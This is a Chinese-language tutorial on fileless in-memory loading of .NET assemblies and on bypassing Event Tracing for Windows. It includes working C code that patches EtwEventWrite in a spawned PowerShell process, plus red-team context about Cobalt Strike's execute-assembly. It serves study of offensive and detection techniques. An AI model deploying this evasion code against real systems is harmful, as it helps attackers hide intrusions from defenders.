内存加载.NET程序集&Bypass ETW
内存加载.NET程序集&Bypass ETW
在内存中加载可以使你的文件变得非常隐蔽,不需要落地文件。下面我们一起来学习一下,如何在内存中加载.net程序集,并且绕过ETW的检测。
0x01 Assembly.Load
官方文档如下Assembly.Load 方法 (System.Reflection) | Microsoft Learn,我在这里也简单介绍一下几个比较重要的函数。
-
Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘。
-
Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。
例如:Assembly.LoadFrom("a.dll"),如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll。
-
Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。
例如:Assembly.LoadFile("a.dll"),如果a.dll中引用了b.dll,那么不会加载b.dll。
下面有一个简单的Assembly.Load()的实例。(来自从内存加载.NET程序集(Assembly.Load)的利用分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com)
using System;
namespace TestApplication
{
public class Program
{
public static void Main()
{
Console.WriteLine("Main");
}
}
public class aaa
{
public static void bbb()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
}
}
我们创建了一个类aaa,类中有一个方法bbb,方法会调用我们的calc,main函数中会在黑窗中打印Main。
我们编译上面的代码,命令如下:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:testcalc.exe program.cs
这样拿到了我们的exe文件,接下来读取testcalc.exe的内容,并作base64加密。
using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main()
{
byte[] buffer = System.IO.File.ReadAllBytes("testcalc.exe");
string base64str = Convert.ToBase64String(buffer);
Console.WriteLine(base64str);
}
}
}
得到结果如下:
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
这就是我们程序集的base64编码的结果,接下来我们用load函数加载到内存中,然后利用c#反射特性,得到bbb方法,然后调用bbb方法即可。代码如下:
using System;
using System.Reflection;
namespace MenoryLoading
{
public class Program
{
public static void Main()
{
string base64str = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFt\r\nIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAH1uWGUAAAAAAAAAAOAAAgELAQsAAAYAAAAIAAAAAAAAfiQAAAAgAAAAQAAA\r\nAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACQkAABXAAAAAEAAAOAE\r\nAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAA\r\nCCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAhAQAAAAgAAAABgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAOAEAAAAQAAAAAYAAAAIAAAAAAAAAAAAAAAA\r\nAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABgJAAAAAAAAEgAAAACAAUAnCAAAIgDAAABAAAA\r\nAQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
byte[] buffer = Convert.FromBase64String(base64str);
Assembly assembly = Assembly.Load(buffer);
Type type = assembly.GetType("TestApplication.aaa");
MethodInfo method = type.GetMethod("bbb");
Object obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, null);
}
}
}
得到结果
我们这里打开一个开源项目,Seatbelt,它可以帮助我们获取主机的一些信息,然后在主函数处添加sleep代码,让他进行休眠,然后用工具Process Hacker2,可以看到程序集被调用的一些信息。
一元机场
产生内存的加载日志,这显然是不太好的,因此我们接下来谈谈bypass ETW的事情。
0x02 Bypass ETW
微软官方介绍:使用 ETW 检测代码 | Microsoft Learn
ETW,即Windows事件跟踪,虽然该功能最早是为了调试和监控性能引入的,但是这并不妨碍它成为监控execute-assembly等功能的行为操作。
在大佬们的博客了解到,通过在clr.dll处观察,看看能否发现事件触发的瞬间。加载 PDB 并使用 Ghidra 查找 AssemblyDCStart_V1 符号,可以了解EWT的机制。
Dropping into WinDBG and setting a breakpoint on all ntdll!EtwEventWrite calls occurring after the ModuleLoad method above, we quickly discover the following where we can see our Assembly name of "test" is being sent:
翻译一下就是我们在上面用 ETW 消费者观察到了这一点。跳转到 WinDBG 并在上面的 ModuleLoad 方法之后发生的所有 ntdll!EtwEventWrite 调用上设置断点,我们很快就发现了下面的情况,在这里我们可以看到 "test "的程序集名称正在被发送。
所以我们只要修改一些ntdll的EtwEventWrite 方法就可以阻止事件的报告。
下面我们用x64debug一起来调试一下我们的powershell。
上面是我们没有调试之前的,有很多日志,接下来我们开始调试。
首先找到我们需要的函数,点进去,看到具体的函数
直接在函数开头返回,点击那一行,然后按空格进行编辑,ret返回。
在process hacker2上查看,发现查看不到日志
即bypass成功,接下来就是在代码中实现了。
0x03 代码实现
代码的话也很简单,只需要加载进来ntdll模块,然后找到EtwEventWrite函数,然后给的第一块内存值变为0xc3即可,即ret。
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char),NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
//FreeLibrary(hNtdll);
return 0;
}
这段代码会启动powershell程序,然后获取ntdll的句柄和EtwEventWrite函数的地址,然后修改内存的属性为可读可写可执行,然后将新的数据写入 PowerShell 进程中的 EtwEventWrite 函数的内存地址,然后恢复函数的内存保护属性,恢复挂起的进程,从而达到bypass etw的效果。
0x04 ExecuteAssembly
ExecuteAssembly是cs上的一个功能,它允许你直接在Beacon控制的目标机器上直接执行.NET程序集。
具体来说,这个功能通过在目标机器的内存中加载.NET程序集并执行它,而不需要将程序集写入到磁盘。这种在内存中执行程序的方法也被称为"文件无(fileless)"攻击,因为它能避免在磁盘上留下可疑的文件,从而绕过某些基于文件扫描的防御手段。
使用"execute-assembly"功能时,你需要提供要执行的.NET程序集的本地路径,然后Cobalt Strike会将这个程序集上传到目标机器的内存中并执行它。你还可以为这个程序集提供命令行参数。
源码如下: https://github.com/med0x2e/ExecuteAssembly
这里留个坑以后再分析。
0x05 项目推荐
其实在内存加载这一块,nim还是挺有优势的,推荐大家一个nim patch etw的项目可以和上面我们使用c语言的比较一下。
OffensiveNim/src/etw_patch_bin.nim at master · Haunted-Banshee/OffensiveNim (github.com)